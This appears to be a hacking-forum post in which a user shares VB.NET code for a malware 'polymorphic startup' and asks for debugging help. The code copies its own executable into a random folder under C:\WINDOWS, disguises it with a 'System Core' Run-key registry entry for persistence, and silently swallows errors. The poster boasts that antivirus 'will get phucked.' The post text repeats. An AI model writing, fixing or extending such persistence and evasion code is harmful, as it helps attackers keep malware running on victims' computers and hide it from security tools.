Polymorph startup/Need help with one part 01-18-2011, 01:45 PM
#1
Hey all!!!
Well, I made this polymorphic startup in VB.NET, sadly, its compatibile only with framework 3.0++
So... I'd need a little help:
Full code:
I have problem with:
Thanks alot!!!
Credits: To the unknown guy for the random dirrectory search. Everything else is by me
PS: yes, the endless regs will make it look suspicious, but... if you make it in a timer, it will recover
also, the av will get phucked
Well, I made this polymorphic startup in VB.NET, sadly, its compatibile only with framework 3.0++
So... I'd need a little help:
Full code:
Code:
Try
Dim URL As String = String.Empty
Dim rnd As New Random()
Dim dirCount As Integer = rnd.Next(100)
Dim appname As String = Path.GetFileName(Application.ExecutablePath)
Dim dirPath As String = "C:\WINDOWS"
Dim dirs = From folder In _
Directory.EnumerateDirectories(dirPath)
Dim getDirs As List(Of String) = New List(Of String)(dirs)
If Not dirCount > getDirs.Count Then
TextBox2.Text = getDirs(dirCount)
End If
If System.IO.File.Exists(TextBox2.Text & TextBox2.Text + ".exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, TextBox2.Text & TextBox2.Text + ".exe")
End If
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("System Core", TextBox2.Text & TextBox2.Text + ".exe")
regKey.Close()
Catch ex As Exception
End Try
I have problem with:
Code:
Directory.EnumerateDirectories(dirPath)
Dim getDirs As List(Of String) = New List(Of String)(dirs)
Thanks alot!!!

Credits: To the unknown guy for the random dirrectory search. Everything else is by me

PS: yes, the endless regs will make it look suspicious, but... if you make it in a timer, it will recover


Staff will never ever ask you for your personal information.
We know everything about you anyway.
We know everything about you anyway.